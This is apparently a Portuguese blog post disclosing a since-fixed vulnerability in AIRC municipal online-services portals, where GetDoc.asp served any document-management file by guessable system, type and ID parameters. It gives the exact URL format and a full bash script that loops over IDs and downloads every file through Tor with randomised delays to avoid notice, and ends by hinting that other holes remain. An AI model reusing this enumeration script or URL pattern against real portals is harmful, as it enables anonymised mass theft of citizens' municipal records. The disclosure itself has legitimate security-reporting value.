AIRC VULNERABILIDADE NOS SERVIÇOS ONLINE
A vulnerabilidade permitia acesso a todos os ficheiros da gestão documental de qualquer entidade, geralmente Municípios, que fizessem uso da integração do software de gestão autárquica, com a gestão documental, e particularmente com os SERVICOSONLINE.
A DESCOBERTA:
Ao navegar nos javascripts do https://servicosonline.xpto.pt/, percebi que para aceder a qualquer ficheiro de uma aplicação dos servicosonline, teria de utilizar o ficheiro getDoc.asp e um conjunto de parametros.
O MÉTODO:
O software servicosonline tipicamente possui um endereço da forma;
https://servicosonline.URL_DO_MUNICIPIO/
Exemplo do município de XPTO
- https://servicosonline.xpto.pt/
Para explorar a vulnerabilidade, era necessário aceder ao ficheiro getDoc.asp, este residia na raiz dos servicos online, ou seja, seria necessário aceder com sucesso a;
- https://servicosonline.xpto.pt/getDoc.asp
mas não só, teriamos de utilizar um endereço mais complexo que desse a indicação do software que pretendiamos aceder ( ver A ), o tipo de informação ( ver B) e um ID ( ver C )
A) seria uma das opções;
- MGD
- SCA
- SGA
- SPO
- SGP
- SGF
B) seria uma das opções;
- I
- E
C) Um número maior que zero.
Para explorar a vulnerabilidade era necessário utilizar um URL composto, exemplo,
https://servicosonline.XPTO.pt/GetDoc.asp?type=genericErpDoc&iddocumento=MGD|E|12345
Tão simples quanto isto :)
O SCRIPT
Optei por fazer um script para juntar todos os parametros e dar me alguma proteção nos testes efetuados. O script usa a rede tor para a exploração da vulnerabilidade.
#!/bin/bash
set +x
while getopts t:b:s:e: flag
do
case "${flag}" in
t) target=${OPTARG};;
b) base=${OPTARG};;
s) start=${OPTARG};;
e) end=${OPTARG};;
esac
done
while true; do
echo "target: $target";
echo "base: $base";
echo "start: $start";
echo "end: $end";
echo "running with torify"
read -p "Continuo ? (y|n) " yn
case $yn in
[Yy]* ) break;;
[Nn]* ) exit;;
* ) echo "resposta yes | no.";;
esac
done
function get_documents(){
local return=0;
for m_system in ${airc_systems[*]}; do
#
# BUILD COMMAND TO DOWNLOAD
#ADD PATH
Download_Doc_command="$Download_Doc""/$prefix/$m_system"
for it_type in ${airc_type[*]} ; do
sleep=`bc -l <<< "scale=0 ; $RANDOM/10000"`
echo "slepping during $sleep seconds" >&2
#sleep $sleep
# DOWNLOADS DOC
Download_Doc_type=$Download_Doc_command"/$it_type"
#SETS URL ;
# m_systems from cycle obove
# it_type from this cycle
url="$target/GetDoc.asp?type=genericErpDoc&iddocumento=$m_system|$it_type|$temp"
Do_Download="$Download_Doc_type $url"
echo "\n" ;
torify wget --no-check-certificate --content-disposition --user-agent='"$user_agent"' --directory-prefix=$prefix/$m_system/$it_type $url;
#2>&1 >/dev/null
out=$?;
if [ $(($out)) -eq $((1)) ]; then
return=1;
echo $return
return ;
fi
done
done
}
## CALL
airc_systems="MGD SGP SPO SGA SCA TAX GES OAD"
airc_type="I S E" # E Entrada , S Saida, I Interno
prefix="/tmp/$base"
user_agent=" COLOCA AQUI UM USER AGENT"
Download_to="'$prefix/$base/$airc_systems'"
logfile="/tmp/download_airc.log"
Download_Doc="torify wget --no-check-certificate --content-disposition --user-agent='"$user_agent"' --directory-prefix="
temp=$start
while [ "$temp" != "$(($end+1))" ]; do
exit_value=$(get_documents);
echo -e "DEBUG for $temp \n-->"$exit_value;
echo -e "\n\n"
temp=$(($temp+1))
sleep=`bc -l <<< "scale=0 ; $RANDOM/1000"`
echo "slepping during $sleep seconds"
sleep $sleep
done
echo
echo "###################################################"
echo
echo "Downloaded $(($end-$start)) itens from type $type, stored in $Download_to"
echo
exit
######### #########
Felizmente a vul está corrigida... contudo existem outras :)
Comments